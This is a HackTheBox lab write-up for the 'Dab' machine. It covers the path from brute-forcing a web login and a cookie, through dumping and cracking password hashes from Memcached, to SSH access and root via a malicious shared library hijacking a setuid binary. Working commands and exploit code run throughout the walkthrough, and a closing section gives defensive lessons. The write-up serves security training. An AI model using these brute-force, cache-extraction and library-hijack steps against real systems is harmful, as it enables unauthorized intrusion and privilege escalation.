Dab - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Dab is a challenging Hard-rated Linux machine that explores advanced web enumeration, cache exploitation, and Linux privilege escalation via shared library hijacking. The initial foothold requires discovering credentials through brute-force, authenticating to a hidden internal development interface, and leveraging a socket-testing feature to enumerate Memcached. Extracting and cracking user credentials from the cache leads to SSH access. Privilege escalation exploits a misconfigured library search path combined with setuid binaries to execute a malicious shared library as root.

TL;DR: Brute-force admin login → Cookie authentication bypass → Memcached enumeration via socket test → Extract and crack MD5 hashes → SSH as genevieve → Shared library hijacking (setuid myexec + ldconfig) → Root shell

Reconnaissance

Port Scanning

# Full TCP port scan with service detection
nmap -sC -sV -T4 -p- 10.129.231.21

Results:

• Port 21 - vsftpd 3.0.3 (anonymous login enabled)
• Port 22 - OpenSSH 7.2p2 Ubuntu
• Port 80 - nginx (web server)
• Port 8080 - nginx (secondary web interface)

Service Enumeration

Port 21 - FTP

Anonymous FTP access was available but contained no useful files or information.

Port 80 - Main Web Interface

Accessing http://10.129.231.21/ revealed a web application with a login page at /login. The application appeared to be a stock management system.

Port 8080 - Secondary Web Interface

Initial requests to port 8080 returned an “Access denied: password authentication cookie is not set” error, indicating cookie-based authentication was required.

Vulnerability Assessment

1. Weak credentials - Admin interface vulnerable to password brute-forcing
2. Cookie authentication bypass - Port 8080 protected only by a weak cookie value
3. Information disclosure - Internal development interface exposed TCP socket testing functionality
4. Memcached exposure - Internal cache accessible via socket test feature
5. OpenSSH 7.2p2 - Vulnerable to username enumeration (CVE-2018-15473)
6. Library search path misconfiguration - /tmp precedes system library paths
7. Setuid binary - Custom binary with setuid root permissions loading shared library

Initial Foothold

Port 80 - Admin Password Brute Force

The login page at /login was tested for weak credentials. Using wfuzz with a common password wordlist:

# Brute force admin password
# Incorrect responses return 18 lines; filter these out
wfuzz -c --hl=18 \
  -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt \
  -d 'username=admin&password=FUZZ&submit=Login' \
  http://10.129.231.21/login

Result: admin:Password1

The credentials returned a 302 redirect with a valid session cookie. After authentication, the stock management interface displayed items loaded from a MySQL database, with debug comments indicating caching was in use.

Port 8080 - Cookie Authentication Bypass

Requests to port 8080 required a cookie named password. Brute-forcing the cookie value:

# Brute force cookie value
# Incorrect responses have 29 words
wfuzz -c --hw=29 \
  -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt \
  -H "Cookie: password=FUZZ" \
  http://10.129.231.21:8080

Result: Cookie value secret

Setting Cookie: password=secret revealed an Internal Dev page with a “TCP socket test” feature. This functionality allowed making TCP connections to arbitrary ports with a test command, though most special characters were filtered with a “Suspected hacking attempt detected” error.

Memcached Enumeration

Internal Port Discovery

Using the socket test feature to scan for internal services:

# Automate internal port scan via wfuzz
# Responses with 4 lines indicate closed ports
wfuzz -c --hl=4 \
  -z range,1-65535 \
  -H "Cookie: password=secret" \
  'http://10.129.231.21:8080/socket?port=FUZZ&cmd=test'

Port 11211 was discovered - the default Memcached port.

Memcached Command Execution

Memcached stores data in “slabs” - memory chunks organized by size. The cache can be enumerated using Memcached protocol commands:

# List slab statistics
http://10.129.231.21:8080/socket?port=11211&cmd=stats slabs

# Dump items from slab class 16 (stock data)
http://10.129.231.21:8080/socket?port=11211&cmd=stats cachedump 16 1000

# Dump items from slab class 26 (user data)
http://10.129.231.21:8080/socket?port=11211&cmd=stats cachedump 26 1000

Slab class 26 returned a key named users. Retrieving it:

# Retrieve users key from cache
http://10.129.231.21:8080/socket?port=11211&cmd=get users

The response contained HTML-encoded JSON with 495 username:MD5hash pairs.

Password Cracking

The JSON data required decoding (replacing " with ") and parsing. Each user had an associated MD5 hash.

Using OpenSSH 7.2p2’s username enumeration vulnerability (CVE-2018-15473), valid usernames could be identified from the list. The user genevieve was confirmed as valid.

Extracting genevieve’s hash and cracking with John the Ripper:

# Extract hash for genevieve
# Hash: <redacted>

# Crack MD5 hash using rockyou wordlist
john --format=raw-md5 genevieve.hash --wordlist=/usr/share/wordlists/rockyou.txt

Result: genevieve:Princess1

SSH Access

# SSH as genevieve
ssh genevieve@10.129.231.21
# Password: Princess1

user.txt: <redacted>

Privilege Escalation

Enumeration of Setuid Binaries

After gaining SSH access, setuid binaries were enumerated:

# Find all setuid binaries
find / -perm -4000 2>/dev/null

Two notable binaries were identified:

• /usr/bin/myexec - Custom setuid root binary
• /sbin/ldconfig - Library cache configuration tool (setuid root)

Binary Analysis

Examining the shared libraries loaded by myexec:

# Check dynamic library dependencies
ldd /usr/bin/myexec

Output:

linux-vdso.so.1
libseclogin.so => /usr/lib/libseclogin.so
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

The binary loads a custom library libseclogin.so from /usr/lib/.

Library Search Path Misconfiguration

Checking the library search path configuration:

# List library search paths
ldconfig -v 2>/dev/null | grep -v "^"$'\t' | sed "s/:$//g"

# Check custom library path configurations
cat /etc/ld.so.conf.d/*.conf

The configuration included:

/tmp

Critical vulnerability: The /tmp directory was added to the library search path and is checked before standard system paths like /lib and /usr/lib. This means a malicious library placed in /tmp will be loaded preferentially.

Binary Password Discovery

Executing myexec prompted for a password. Analysis (either through reversing or debugging) revealed the password: s3cur3l0g1n

# Test the binary
/usr/bin/myexec
# Enter password: s3cur3l0g1n

The binary executed a function called seclogin() from the shared library, but it had no visible effect.

Shared Library Hijacking

The attack strategy:

1. Create a malicious libseclogin.so in /tmp that spawns a root shell
2. Run ldconfig (setuid root) to update the library cache
3. Execute myexec, which will load our malicious library with root privileges

Creating the malicious library:

// Note: Used /dev/shm instead of /tmp due to space constraints
#include <stdlib.h>

extern int seclogin();

int seclogin() {
    // Set real and effective UID to 0 (root)
    setreuid(0, 0);

    // Execute root shell
    execve("/bin/bash", NULL, NULL);
}

Compiling and deploying:

# Compile as a shared library
gcc -shared -fPIC -o /tmp/libseclogin.so /dev/shm/libseclogin.c

# Update library cache (runs as root due to setuid)
ldconfig

# Verify the malicious library is loaded first
ldd /usr/bin/myexec
# Should show: libseclogin.so => /tmp/libseclogin.so

Why this works:

• ldconfig is setuid root and updates the shared library cache at /etc/ld.so.cache
• When the cache is rebuilt, /tmp is searched first due to the misconfigured search path
• The dynamic linker will resolve libseclogin.so to /tmp/libseclogin.so instead of /usr/lib/libseclogin.so
• When myexec (setuid root) executes, it loads our malicious library with root privileges
• The seclogin() function calls setreuid(0,0) to set real/effective UID to root, then spawns a bash shell

Root Shell

# Execute the setuid binary
/usr/bin/myexec
# Enter password: s3cur3l0g1n

# Malicious seclogin() executes
id
# uid=0(root) gid=1000(genevieve) groups=1000(genevieve)

# Capture root flag
cat /root/root.txt

root.txt: <redacted>

Attack Chain Summary

Port 80 brute-force (admin:Password1) →
Port 8080 cookie bypass (password=secret) →
Memcached enumeration via socket test (port 11211) →
Extract 495 user:hash pairs from cache →
Crack genevieve MD5 hash → Princess1 →
SSH as genevieve (user flag) →
Identify setuid myexec + ldconfig →
Discover /tmp in library search path →
Create malicious libseclogin.so in /tmp →
Run ldconfig to update cache →
Execute myexec → Root shell (root flag)

Tools Used

Key Learnings

Techniques Practiced

• Advanced web enumeration with cookie-based authentication
• Memcached protocol exploitation and data extraction
• HTML entity decoding and JSON parsing
• OpenSSH username enumeration (CVE-2018-15473)
• MD5 hash cracking with wordlist attacks
• Linux library search path analysis
• Shared library hijacking via setuid binaries
• Dynamic linker exploitation

Lessons Learned

1. Cache systems can leak sensitive data - Memcached, Redis, and similar caching systems exposed to internal networks may contain credentials, session tokens, or PII. Always enumerate cache protocols when discovered.

2. Cookie authentication is not security - Single-value cookie authentication (especially with weak secrets like “secret” or “password”) provides minimal protection. Proper session management requires cryptographically secure tokens.

3. Library search path order matters - On Linux, the order in which directories are searched for shared libraries is critical. User-writable directories (like /tmp) should never precede system directories in the search path. This is defined by /etc/ld.so.conf.d/*.conf files.

4. Setuid + ldconfig is dangerous - While ldconfig needs elevated privileges to update the system library cache, giving it setuid permissions allows unprivileged users to influence how setuid binaries resolve libraries. Modern systems use ldconfig more carefully or rely on package managers to update the cache.

5. Defense in depth - This machine required chaining multiple weaknesses: weak passwords, exposed internal services, cached credentials, SSH access, misconfigured library paths, and setuid binaries. Each layer represents a control failure.

6. Username enumeration matters - CVE-2018-15473 allowed confirming which of the 495 cached users had valid SSH accounts, focusing password cracking efforts. Timing attacks against authentication can reveal information even without direct access.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• Official HackTheBox writeup for Dab (Document No D19.100.05) by egre55
• Memcached protocol documentation: https://github.com/memcached/memcached/wiki/Commands
• Linux shared library search path: https://unix.stackexchange.com/questions/22926/where-do-executables-look-for-shared-objects-at-runtime
• CVE-2018-15473 (OpenSSH username enumeration): https://www.exploit-db.com/exploits/45233